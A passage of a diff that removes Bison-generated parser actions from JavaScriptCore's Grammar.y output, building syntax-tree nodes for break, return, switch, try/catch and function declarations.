-                                          (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(node, 0, 0, 0, 0); setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (2)]), (yylsp[(2) - (2)])); ;}
-    break;
-
-  case 260:
-
-/* Line 1455 of yacc.c  */
-#line 1053 "../../JavaScriptCore/parser/Grammar.y"
-    { BreakNode* node = new (GLOBAL_DATA) BreakNode(GLOBAL_DATA);
-                                          setExceptionLocation(node, (yylsp[(1) - (2)]).first_column, (yylsp[(1) - (2)]).last_column, (yylsp[(1) - (2)]).last_column);
-                                          (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) BreakNode(GLOBAL_DATA), 0, 0, 0, 0); setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (2)]), (yylsp[(1) - (2)])); AUTO_SEMICOLON; ;}
-    break;
-
-  case 261:
-
-/* Line 1455 of yacc.c  */
-#line 1056 "../../JavaScriptCore/parser/Grammar.y"
-    { BreakNode* node = new (GLOBAL_DATA) BreakNode(GLOBAL_DATA, *(yyvsp[(2) - (3)].ident));
-                                          setExceptionLocation(node, (yylsp[(1) - (3)]).first_column, (yylsp[(2) - (3)]).last_column, (yylsp[(2) - (3)]).last_column);
-                                          (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(node, 0, 0, 0, 0); setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (3)]), (yylsp[(3) - (3)])); ;}
-    break;
-
-  case 262:
-
-/* Line 1455 of yacc.c  */
-#line 1059 "../../JavaScriptCore/parser/Grammar.y"
-    { BreakNode* node = new (GLOBAL_DATA) BreakNode(GLOBAL_DATA, *(yyvsp[(2) - (3)].ident));
-                                          setExceptionLocation(node, (yylsp[(1) - (3)]).first_column, (yylsp[(2) - (3)]).last_column, (yylsp[(2) - (3)]).last_column);
-                                          (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) BreakNode(GLOBAL_DATA, *(yyvsp[(2) - (3)].ident)), 0, 0, 0, 0); setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (3)]), (yylsp[(2) - (3)])); AUTO_SEMICOLON; ;}
-    break;
-
-  case 263:
-
-/* Line 1455 of yacc.c  */
-#line 1065 "../../JavaScriptCore/parser/Grammar.y"
-    { ReturnNode* node = new (GLOBAL_DATA) ReturnNode(GLOBAL_DATA, 0); 
-                                          setExceptionLocation(node, (yylsp[(1) - (2)]).first_column, (yylsp[(1) - (2)]).last_column, (yylsp[(1) - (2)]).last_column); 
-                                          (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(node, 0, 0, 0, 0); setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (2)]), (yylsp[(2) - (2)])); ;}
-    break;
-
-  case 264:
-
-/* Line 1455 of yacc.c  */
-#line 1068 "../../JavaScriptCore/parser/Grammar.y"
-    { ReturnNode* node = new (GLOBAL_DATA) ReturnNode(GLOBAL_DATA, 0); 
-                                          setExceptionLocation(node, (yylsp[(1) - (2)]).first_column, (yylsp[(1) - (2)]).last_column, (yylsp[(1) - (2)]).last_column); 
-                                          (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(node, 0, 0, 0, 0); setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (2)]), (yylsp[(1) - (2)])); AUTO_SEMICOLON; ;}
-    break;
-
-  case 265:
-
-/* Line 1455 of yacc.c  */
-#line 1071 "../../JavaScriptCore/parser/Grammar.y"
-    { ReturnNode* node = new (GLOBAL_DATA) ReturnNode(GLOBAL_DATA, (yyvsp[(2) - (3)].expressionNode).m_node); 
-                                          setExceptionLocation(node, (yylsp[(1) - (3)]).first_column, (yylsp[(2) - (3)]).last_column, (yylsp[(2) - (3)]).last_column);
-                                          (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(node, 0, 0, (yyvsp[(2) - (3)].expressionNode).m_features, (yyvsp[(2) - (3)].expressionNode).m_numConstants); setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (3)]), (yylsp[(3) - (3)])); ;}
-    break;
-
-  case 266:
-
-/* Line 1455 of yacc.c  */
-#line 1074 "../../JavaScriptCore/parser/Grammar.y"
-    { ReturnNode* node = new (GLOBAL_DATA) ReturnNode(GLOBAL_DATA, (yyvsp[(2) - (3)].expressionNode).m_node); 
-                                          setExceptionLocation(node, (yylsp[(1) - (3)]).first_column, (yylsp[(2) - (3)]).last_column, (yylsp[(2) - (3)]).last_column); 
-                                          (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(node, 0, 0, (yyvsp[(2) - (3)].expressionNode).m_features, (yyvsp[(2) - (3)].expressionNode).m_numConstants); setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (3)]), (yylsp[(2) - (3)])); AUTO_SEMICOLON; ;}
-    break;
-
-  case 267:
-
-/* Line 1455 of yacc.c  */
-#line 1080 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) WithNode(GLOBAL_DATA, (yyvsp[(3) - (5)].expressionNode).m_node, (yyvsp[(5) - (5)].statementNode).m_node, (yylsp[(3) - (5)]).last_column, (yylsp[(3) - (5)]).last_column - (yylsp[(3) - (5)]).first_column),
-                                                                                         (yyvsp[(5) - (5)].statementNode).m_varDeclarations, (yyvsp[(5) - (5)].statementNode).m_funcDeclarations, (yyvsp[(3) - (5)].expressionNode).m_features | (yyvsp[(5) - (5)].statementNode).m_features | WithFeature, (yyvsp[(3) - (5)].expressionNode).m_numConstants + (yyvsp[(5) - (5)].statementNode).m_numConstants);
-                                          setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (5)]), (yylsp[(4) - (5)])); ;}
-    break;
-
-  case 268:
-
-/* Line 1455 of yacc.c  */
-#line 1086 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) SwitchNode(GLOBAL_DATA, (yyvsp[(3) - (5)].expressionNode).m_node, (yyvsp[(5) - (5)].caseBlockNode).m_node), (yyvsp[(5) - (5)].caseBlockNode).m_varDeclarations, (yyvsp[(5) - (5)].caseBlockNode).m_funcDeclarations,
-                                                                                         (yyvsp[(3) - (5)].expressionNode).m_features | (yyvsp[(5) - (5)].caseBlockNode).m_features, (yyvsp[(3) - (5)].expressionNode).m_numConstants + (yyvsp[(5) - (5)].caseBlockNode).m_numConstants);
-                                          setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (5)]), (yylsp[(4) - (5)])); ;}
-    break;
-
-  case 269:
-
-/* Line 1455 of yacc.c  */
-#line 1092 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.caseBlockNode) = createNodeDeclarationInfo<CaseBlockNode*>(new (GLOBAL_DATA) CaseBlockNode(GLOBAL_DATA, (yyvsp[(2) - (3)].clauseList).m_node.head, 0, 0), (yyvsp[(2) - (3)].clauseList).m_varDeclarations, (yyvsp[(2) - (3)].clauseList).m_funcDeclarations, (yyvsp[(2) - (3)].clauseList).m_features, (yyvsp[(2) - (3)].clauseList).m_numConstants); ;}
-    break;
-
-  case 270:
-
-/* Line 1455 of yacc.c  */
-#line 1094 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.caseBlockNode) = createNodeDeclarationInfo<CaseBlockNode*>(new (GLOBAL_DATA) CaseBlockNode(GLOBAL_DATA, (yyvsp[(2) - (5)].clauseList).m_node.head, (yyvsp[(3) - (5)].caseClauseNode).m_node, (yyvsp[(4) - (5)].clauseList).m_node.head),
-                                                                                         mergeDeclarationLists(mergeDeclarationLists((yyvsp[(2) - (5)].clauseList).m_varDeclarations, (yyvsp[(3) - (5)].caseClauseNode).m_varDeclarations), (yyvsp[(4) - (5)].clauseList).m_varDeclarations),
-                                                                                         mergeDeclarationLists(mergeDeclarationLists((yyvsp[(2) - (5)].clauseList).m_funcDeclarations, (yyvsp[(3) - (5)].caseClauseNode).m_funcDeclarations), (yyvsp[(4) - (5)].clauseList).m_funcDeclarations),
-                                                                                         (yyvsp[(2) - (5)].clauseList).m_features | (yyvsp[(3) - (5)].caseClauseNode).m_features | (yyvsp[(4) - (5)].clauseList).m_features,
-                                                                                         (yyvsp[(2) - (5)].clauseList).m_numConstants + (yyvsp[(3) - (5)].caseClauseNode).m_numConstants + (yyvsp[(4) - (5)].clauseList).m_numConstants); ;}
-    break;
-
-  case 271:
-
-/* Line 1455 of yacc.c  */
-#line 1102 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.clauseList).m_node.head = 0; (yyval.clauseList).m_node.tail = 0; (yyval.clauseList).m_varDeclarations = 0; (yyval.clauseList).m_funcDeclarations = 0; (yyval.clauseList).m_features = 0; (yyval.clauseList).m_numConstants = 0; ;}
-    break;
-
-  case 273:
-
-/* Line 1455 of yacc.c  */
-#line 1107 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.clauseList).m_node.head = new (GLOBAL_DATA) ClauseListNode(GLOBAL_DATA, (yyvsp[(1) - (1)].caseClauseNode).m_node);
-                                          (yyval.clauseList).m_node.tail = (yyval.clauseList).m_node.head;
-                                          (yyval.clauseList).m_varDeclarations = (yyvsp[(1) - (1)].caseClauseNode).m_varDeclarations;
-                                          (yyval.clauseList).m_funcDeclarations = (yyvsp[(1) - (1)].caseClauseNode).m_funcDeclarations; 
-                                          (yyval.clauseList).m_features = (yyvsp[(1) - (1)].caseClauseNode).m_features;
-                                          (yyval.clauseList).m_numConstants = (yyvsp[(1) - (1)].caseClauseNode).m_numConstants; ;}
-    break;
-
-  case 274:
-
-/* Line 1455 of yacc.c  */
-#line 1113 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.clauseList).m_node.head = (yyvsp[(1) - (2)].clauseList).m_node.head;
-                                          (yyval.clauseList).m_node.tail = new (GLOBAL_DATA) ClauseListNode(GLOBAL_DATA, (yyvsp[(1) - (2)].clauseList).m_node.tail, (yyvsp[(2) - (2)].caseClauseNode).m_node);
-                                          (yyval.clauseList).m_varDeclarations = mergeDeclarationLists((yyvsp[(1) - (2)].clauseList).m_varDeclarations, (yyvsp[(2) - (2)].caseClauseNode).m_varDeclarations);
-                                          (yyval.clauseList).m_funcDeclarations = mergeDeclarationLists((yyvsp[(1) - (2)].clauseList).m_funcDeclarations, (yyvsp[(2) - (2)].caseClauseNode).m_funcDeclarations);
-                                          (yyval.clauseList).m_features = (yyvsp[(1) - (2)].clauseList).m_features | (yyvsp[(2) - (2)].caseClauseNode).m_features;
-                                          (yyval.clauseList).m_numConstants = (yyvsp[(1) - (2)].clauseList).m_numConstants + (yyvsp[(2) - (2)].caseClauseNode).m_numConstants;
-                                        ;}
-    break;
-
-  case 275:
-
-/* Line 1455 of yacc.c  */
-#line 1123 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.caseClauseNode) = createNodeDeclarationInfo<CaseClauseNode*>(new (GLOBAL_DATA) CaseClauseNode(GLOBAL_DATA, (yyvsp[(2) - (3)].expressionNode).m_node), 0, 0, (yyvsp[(2) - (3)].expressionNode).m_features, (yyvsp[(2) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 276:
-
-/* Line 1455 of yacc.c  */
-#line 1124 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.caseClauseNode) = createNodeDeclarationInfo<CaseClauseNode*>(new (GLOBAL_DATA) CaseClauseNode(GLOBAL_DATA, (yyvsp[(2) - (4)].expressionNode).m_node, (yyvsp[(4) - (4)].sourceElements).m_node), (yyvsp[(4) - (4)].sourceElements).m_varDeclarations, (yyvsp[(4) - (4)].sourceElements).m_funcDeclarations, (yyvsp[(2) - (4)].expressionNode).m_features | (yyvsp[(4) - (4)].sourceElements).m_features, (yyvsp[(2) - (4)].expressionNode).m_numConstants + (yyvsp[(4) - (4)].sourceElements).m_numConstants); ;}
-    break;
-
-  case 277:
-
-/* Line 1455 of yacc.c  */
-#line 1128 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.caseClauseNode) = createNodeDeclarationInfo<CaseClauseNode*>(new (GLOBAL_DATA) CaseClauseNode(GLOBAL_DATA, 0), 0, 0, 0, 0); ;}
-    break;
-
-  case 278:
-
-/* Line 1455 of yacc.c  */
-#line 1129 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.caseClauseNode) = createNodeDeclarationInfo<CaseClauseNode*>(new (GLOBAL_DATA) CaseClauseNode(GLOBAL_DATA, 0, (yyvsp[(3) - (3)].sourceElements).m_node), (yyvsp[(3) - (3)].sourceElements).m_varDeclarations, (yyvsp[(3) - (3)].sourceElements).m_funcDeclarations, (yyvsp[(3) - (3)].sourceElements).m_features, (yyvsp[(3) - (3)].sourceElements).m_numConstants); ;}
-    break;
-
-  case 279:
-
-/* Line 1455 of yacc.c  */
-#line 1133 "../../JavaScriptCore/parser/Grammar.y"
-    { LabelNode* node = new (GLOBAL_DATA) LabelNode(GLOBAL_DATA, *(yyvsp[(1) - (3)].ident), (yyvsp[(3) - (3)].statementNode).m_node);
-                                          setExceptionLocation(node, (yylsp[(1) - (3)]).first_column, (yylsp[(2) - (3)]).last_column, (yylsp[(2) - (3)]).last_column);
-                                          (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(node, (yyvsp[(3) - (3)].statementNode).m_varDeclarations, (yyvsp[(3) - (3)].statementNode).m_funcDeclarations, (yyvsp[(3) - (3)].statementNode).m_features, (yyvsp[(3) - (3)].statementNode).m_numConstants); ;}
-    break;
-
-  case 280:
-
-/* Line 1455 of yacc.c  */
-#line 1139 "../../JavaScriptCore/parser/Grammar.y"
-    { ThrowNode* node = new (GLOBAL_DATA) ThrowNode(GLOBAL_DATA, (yyvsp[(2) - (3)].expressionNode).m_node);
-                                          setExceptionLocation(node, (yylsp[(1) - (3)]).first_column, (yylsp[(2) - (3)]).last_column, (yylsp[(2) - (3)]).last_column);
-                                          (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(node, 0, 0, (yyvsp[(2) - (3)].expressionNode).m_features, (yyvsp[(2) - (3)].expressionNode).m_numConstants); setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (3)]), (yylsp[(2) - (3)]));
-                                        ;}
-    break;
-
-  case 281:
-
-/* Line 1455 of yacc.c  */
-#line 1143 "../../JavaScriptCore/parser/Grammar.y"
-    { ThrowNode* node = new (GLOBAL_DATA) ThrowNode(GLOBAL_DATA, (yyvsp[(2) - (3)].expressionNode).m_node);
-                                          setExceptionLocation(node, (yylsp[(1) - (3)]).first_column, (yylsp[(2) - (3)]).last_column, (yylsp[(2) - (3)]).last_column);
-                                          (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(node, 0, 0, (yyvsp[(2) - (3)].expressionNode).m_features, (yyvsp[(2) - (3)].expressionNode).m_numConstants); setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (3)]), (yylsp[(2) - (3)])); AUTO_SEMICOLON; 
-                                        ;}
-    break;
-
-  case 282:
-
-/* Line 1455 of yacc.c  */
-#line 1150 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) TryNode(GLOBAL_DATA, (yyvsp[(2) - (4)].statementNode).m_node, GLOBAL_DATA->propertyNames->nullIdentifier, false, 0, (yyvsp[(4) - (4)].statementNode).m_node),
-                                                                                         mergeDeclarationLists((yyvsp[(2) - (4)].statementNode).m_varDeclarations, (yyvsp[(4) - (4)].statementNode).m_varDeclarations),
-                                                                                         mergeDeclarationLists((yyvsp[(2) - (4)].statementNode).m_funcDeclarations, (yyvsp[(4) - (4)].statementNode).m_funcDeclarations),
-                                                                                         (yyvsp[(2) - (4)].statementNode).m_features | (yyvsp[(4) - (4)].statementNode).m_features,
-                                                                                         (yyvsp[(2) - (4)].statementNode).m_numConstants + (yyvsp[(4) - (4)].statementNode).m_numConstants);
-                                          setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (4)]), (yylsp[(2) - (4)])); ;}
-    break;
-
-  case 283:
-
-/* Line 1455 of yacc.c  */
-#line 1156 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) TryNode(GLOBAL_DATA, (yyvsp[(2) - (7)].statementNode).m_node, *(yyvsp[(5) - (7)].ident), ((yyvsp[(7) - (7)].statementNode).m_features & EvalFeature) != 0, (yyvsp[(7) - (7)].statementNode).m_node, 0),
-                                                                                         mergeDeclarationLists((yyvsp[(2) - (7)].statementNode).m_varDeclarations, (yyvsp[(7) - (7)].statementNode).m_varDeclarations),
-                                                                                         mergeDeclarationLists((yyvsp[(2) - (7)].statementNode).m_funcDeclarations, (yyvsp[(7) - (7)].statementNode).m_funcDeclarations),
-                                                                                         (yyvsp[(2) - (7)].statementNode).m_features | (yyvsp[(7) - (7)].statementNode).m_features | CatchFeature,
-                                                                                         (yyvsp[(2) - (7)].statementNode).m_numConstants + (yyvsp[(7) - (7)].statementNode).m_numConstants);
-                                          setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (7)]), (yylsp[(2) - (7)])); ;}
-    break;
-
-  case 284:
-
-/* Line 1455 of yacc.c  */
-#line 1163 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) TryNode(GLOBAL_DATA, (yyvsp[(2) - (9)].statementNode).m_node, *(yyvsp[(5) - (9)].ident), ((yyvsp[(7) - (9)].statementNode).m_features & EvalFeature) != 0, (yyvsp[(7) - (9)].statementNode).m_node, (yyvsp[(9) - (9)].statementNode).m_node),
-                                                                                         mergeDeclarationLists(mergeDeclarationLists((yyvsp[(2) - (9)].statementNode).m_varDeclarations, (yyvsp[(7) - (9)].statementNode).m_varDeclarations), (yyvsp[(9) - (9)].statementNode).m_varDeclarations),
-                                                                                         mergeDeclarationLists(mergeDeclarationLists((yyvsp[(2) - (9)].statementNode).m_funcDeclarations, (yyvsp[(7) - (9)].statementNode).m_funcDeclarations), (yyvsp[(9) - (9)].statementNode).m_funcDeclarations),
-                                                                                         (yyvsp[(2) - (9)].statementNode).m_features | (yyvsp[(7) - (9)].statementNode).m_features | (yyvsp[(9) - (9)].statementNode).m_features | CatchFeature,
-                                                                                         (yyvsp[(2) - (9)].statementNode).m_numConstants + (yyvsp[(7) - (9)].statementNode).m_numConstants + (yyvsp[(9) - (9)].statementNode).m_numConstants);
-                                          setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (9)]), (yylsp[(2) - (9)])); ;}
-    break;
-
-  case 285:
-
-/* Line 1455 of yacc.c  */
-#line 1172 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) DebuggerStatementNode(GLOBAL_DATA), 0, 0, 0, 0);
-                                          setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (2)]), (yylsp[(2) - (2)])); ;}
-    break;
-
-  case 286:
-
-/* Line 1455 of yacc.c  */
-#line 1174 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) DebuggerStatementNode(GLOBAL_DATA), 0, 0, 0, 0);
-                                          setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (2)]), (yylsp[(1) - (2)])); AUTO_SEMICOLON; ;}
-    break;
-
-  case 287:
-
-/* Line 1455 of yacc.c  */
-#line 1179 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) FuncDeclNode(GLOBAL_DATA, *(yyvsp[(2) - (7)].ident), (yyvsp[(6) - (7)].functionBodyNode), GLOBAL_DATA->lexer->sourceCode((yyvsp[(5) - (7)].intValue), (yyvsp[(7) - (7)].intValue), (yylsp[(5) - (7)]).first_line)), 0, new (GLOBAL_DATA) ParserArenaData<DeclarationStacks::FunctionStack>, ((*(yyvsp[(2) - (7)].ident) == GLOBAL_DATA->propertyNames->arguments) ? ArgumentsFeature : 0) | ClosureFeature, 0); setStatementLocation((yyvsp[(6) - (7)].functionBodyNode), (yylsp[(5) - (7)]), (yylsp[(7) - (7)])); (yyval.statementNode).m_funcDeclarations->data.append(static_cast<FuncDeclNode*>((yyval.statementNode).m_node)->body()); ;}
-    break;
-
-  case 288:
-
-/* Line 1455 of yacc.c  */
-#line 1181 "../../JavaScriptCore/parser/Grammar.y"
-    {
-          (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) FuncDeclNode(GLOBAL_DATA, *(yyvsp[(2) - (8)].ident), (yyvsp[(7) - (8)].functionBodyNode), GLOBAL_DATA->lexer->sourceCode((yyvsp[(6) - (8)].intValue), (yyvsp[(8) - (8)].intValue), (yylsp[(6) - (8)]).first_line), (yyvsp[(4) - (8)].parameterList).m_node.head), 0, new (GLOBAL_DATA) ParserArenaData<DeclarationStacks::FunctionStack>, ((*(yyvsp[(2) - (8)].ident) == GLOBAL_DATA->propertyNames->arguments) ? ArgumentsFeature : 0) | (yyvsp[(4) - (8)].parameterList).m_features | ClosureFeature, 0);
-          if ((yyvsp[(4) - (8)].parameterList).m_features & ArgumentsFeature)
-              (yyvsp[(7) - (8)].functionBodyNode)->setUsesArguments();
-          setStatementLocation((yyvsp[(7) - (8)].functionBodyNode), (yylsp[(6) - (8)]), (yylsp[(8) - (8)]));
-          (yyval.statementNode).m_funcDeclarations->data.append(static_cast<FuncDeclNode*>((yyval.statementNode).m_node)->body());
-      ;}
-    break;
-
-  case 289:
-
-/* Line 1455 of yacc.c  */
-#line 1191 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.funcExprNode) = createNodeInfo(new (GLOBAL_DATA) FuncExprNode(GLOBAL_DATA, GLOBAL_DATA->propertyNames->nullIdentifier, (yyvsp[(5) - (6)].functionBodyNode), GLOBAL_DATA->lexer->sourceCode((yyvsp[(4) - (6)].intValue), (yyvsp[(6) - (6)].intValue), (yylsp[(4) - (6)]).first_line)), ClosureFeature, 0); setStatementLocation((yyvsp[(5) - (6)].functionBodyNode), (yylsp[(4) - (6)]), (yylsp[(6) - (6)])); ;}
-    break;
-
-  case 290:
-
-/* Line 1455 of yacc.c  */
-#line 1193 "../../JavaScriptCore/parser/Grammar.y"
-    {
-          (yyval.funcExprNode) = createNodeInfo(new (GLOBAL_DATA) FuncExprNode(GLOBAL_DATA, GLOBAL_DATA->propertyNames->nullIdentifier, (yyvsp[(6) - (7)].functionBodyNode), GLOBAL_DATA->lexer->sourceCode((yyvsp[(5) - (7)].intValue), (yyvsp[(7) - (7)].intValue), (yylsp[(5) - (7)]).first_line), (yyvsp[(3) - (7)].parameterList).m_node.head), (yyvsp[(3) - (7)].parameterList).m_features | ClosureFeature, 0);
-          if ((yyvsp[(3) - (7)].parameterList).m_features & ArgumentsFeature)
-              (yyvsp[(6) - (7)].functionBodyNode)->setUsesArguments();
-          setStatementLocation((yyvsp[(6) - (7)].functionBodyNode), (yylsp[(5) - (7)]), (yylsp[(7) - (7)]));
-      ;}
-    break;
-
-  case 291:
-
-/* Line 1455 of yacc.c  */
-#line 1199 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.funcExprNode) = createNodeInfo(new (GLOBAL_DATA) FuncExprNode(GLOBAL_DATA, *(yyvsp[(2) - (7)].ident), (yyvsp[(6) - (7)].functionBodyNode), GLOBAL_DATA->lexer->sourceCode((yyvsp[(5) - (7)].intValue), (yyvsp[(7) - (7)].intValue), (yylsp[(5) - (7)]).first_line)), ClosureFeature, 0); setStatementLocation((yyvsp[(6) - (7)].functionBodyNode), (yylsp[(5) - (7)]), (yylsp[(7) - (7)])); ;}
-    break;
-
-  case 292:
-
-/* Line 1455 of yacc.c  */
-#line 1201 "../../JavaScriptCore/parser/Grammar.y"
-    {
-          (yyval.funcExprNode) = createNodeInfo(new (GLOBAL_DATA) FuncExprNode(GLOBAL_DATA, *(yyvsp[(2) - (8)].ident), (yyvsp[(7) - (8)].functionBodyNode), GLOBAL_DATA->lexer->sourceCode((yyvsp[(6) - (8)].intValue), (yyvsp[(8) - (8)].intValue), (yylsp[(6) - (8)]).first_line), (yyvsp[(4) - (8)].parameterList).m_node.head), (yyvsp[(4) - (8)].parameterList).m_features | ClosureFeature, 0); 
-          if ((yyvsp[(4) - (8)].parameterList).m_features & ArgumentsFeature)
-              (yyvsp[(7) - (8)].functionBodyNode)->setUsesArguments();
-          setStatementLocation((yyvsp[(7) - (8)].functionBodyNode), (yylsp[(6) - (8)]), (yylsp[(8) - (8)]));
-      ;}
-    break;
-
-  case 293:
-
-/* Line 1455 of yacc.c  */
-#line 1210 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.parameterList).m_node.head = new (GLOBAL_DATA) ParameterNode(GLOBAL_DATA, *(yyvsp[(1) - (1)].ident));
-                                          (yyval.parameterList).m_features = (*(yyvsp[(1) - (1)].ident) == GLOBAL_DATA->propertyNames->arguments) ? ArgumentsFeature : 0;
-                                          (yyval.parameterList).m_node.tail = (yyval.parameterList).m_node.head; ;}
-    break;
-
-  case 294:
-
-/* Line 1455 of yacc.c  */
-#line 1213 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.parameterList).m_node.head = (yyvsp[(1) - (3)].parameterList).m_node.head;
-                                          (yyval.parameterList).m_features = (yyvsp[(1) - (3)].parameterList).m_features | ((*(yyvsp[(3) - (3)].ident) == GLOBAL_DATA->propertyNames->arguments) ? ArgumentsFeature : 0);
-                                          (yyval.parameterList).m_node.tail = new (GLOBAL_DATA) ParameterNode(GLOBAL_DATA, (yyvsp[(1) - (3)].parameterList).m_node.tail, *(yyvsp[(3) - (3)].ident));  ;}
-    break;
-
-  case 295:
-
-/* Line 1455 of yacc.c  */
-#line 1219 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.functionBodyNode) = FunctionBodyNode::create(GLOBAL_DATA); ;}
-    break;
-
-  case 296:
-
-/* Line 1455 of yacc.c  */
-#line 1220 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.functionBodyNode) = FunctionBodyNode::create(GLOBAL_DATA); ;}
-    break;
-
-  case 297:
-
-/* Line 1455 of yacc.c  */
-#line 1224 "../../JavaScriptCore/parser/Grammar.y"
-    { GLOBAL_DATA->parser->didFinishParsing(new (GLOBAL_DATA) SourceElements(GLOBAL_DATA), 0, 0, NoFeatures, (yylsp[(0) - (0)]).last_line, 0); ;}
-    break;
-
-  case 298:
-
-/* Line 1455 of yacc.c  */
-#line 1225 "../../JavaScriptCore/parser/Grammar.y"
-    { GLOBAL_DATA->parser->didFinishParsing((yyvsp[(1) - (1)].sourceElements).m_node, (yyvsp[(1) - (1)].sourceElements).m_varDeclarations, (yyvsp[(1) - (1)].sourceElements).m_funcDeclarations, (yyvsp[(1) - (1)].sourceElements).m_features, 
-                                                                                (yylsp[(1) - (1)]).last_line, (yyvsp[(1) - (1)].sourceElements).m_numConstants); ;}
-    break;
-
-  case 299:
-
-/* Line 1455 of yacc.c  */
-#line 1230 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.sourceElements).m_node = new (GLOBAL_DATA) SourceElements(GLOBAL_DATA);
-                                          (yyval.sourceElements).m_node->append((yyvsp[(1) - (1)].statementNode).m_node);
-                                          (yyval.sourceElements).m_varDeclarations = (yyvsp[(1) - (1)].statementNode).m_varDeclarations;
-                                          (yyval.sourceElements).m_funcDeclarations = (yyvsp[(1) - (1)].statementNode).m_funcDeclarations;
-                                          (yyval.sourceElements).m_features = (yyvsp[(1) - (1)].statementNode).m_features;
-                                          (yyval.sourceElements).m_numConstants = (yyvsp[(1) - (1)].statementNode).m_numConstants;
-                                        ;}
-    break;
-
-  case 300:
-
-/* Line 1455 of yacc.c  */
-#line 1237 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.sourceElements).m_node->append((yyvsp[(2) - (2)].statementNode).m_node);
-                                          (yyval.sourceElements).m_varDeclarations = mergeDeclarationLists((yyvsp[(1) - (2)].sourceElements).m_varDeclarations, (yyvsp[(2) - (2)].statementNode).m_varDeclarations);
-                                          (yyval.sourceElements).m_funcDeclarations = mergeDeclarationLists((yyvsp[(1) - (2)].sourceElements).m_funcDeclarations, (yyvsp[(2) - (2)].statementNode).m_funcDeclarations);
-                                          (yyval.sourceElements).m_features = (yyvsp[(1) - (2)].sourceElements).m_features | (yyvsp[(2) - (2)].statementNode).m_features;
-                                          (yyval.sourceElements).m_numConstants = (yyvsp[(1) - (2)].sourceElements).m_numConstants + (yyvsp[(2) - (2)].statementNode).m_numConstants;
-                                        ;}
-    break;
-
-  case 304:
-
-/* Line 1455 of yacc.c  */
-#line 1251 "../../JavaScriptCore/parser/Grammar.y"
-    { ;}
-    break;
-
-  case 305:
-
-/* Line 1455 of yacc.c  */
-#line 1252 "../../JavaScriptCore/parser/Grammar.y"
-    { ;}
-    break;
-
-  case 306:
-
-/* Line 1455 of yacc.c  */
-#line 1253 "../../JavaScriptCore/parser/Grammar.y"
-    { if (!GLOBAL_DATA->lexer->skipRegExp()) YYABORT; ;}
-    break;
-
-  case 307:
-
-/* Line 1455 of yacc.c  */
-#line 1254 "../../JavaScriptCore/parser/Grammar.y"
-    { if (!GLOBAL_DATA->lexer->skipRegExp()) YYABORT; ;}
-    break;
-
-  case 308:
-
-/* Line 1455 of yacc.c  */
-#line 1258 "../../JavaScriptCore/parser/Grammar.y"
-    { ;}
-    break;
-
-  case 309:
-
-/* Line 1455 of yacc.c  */
-#line 1259 "../../JavaScriptCore/parser/Grammar.y"
-    { ;}
-    break;
-
-  case 310:
-
-/* Line 1455 of yacc.c  */
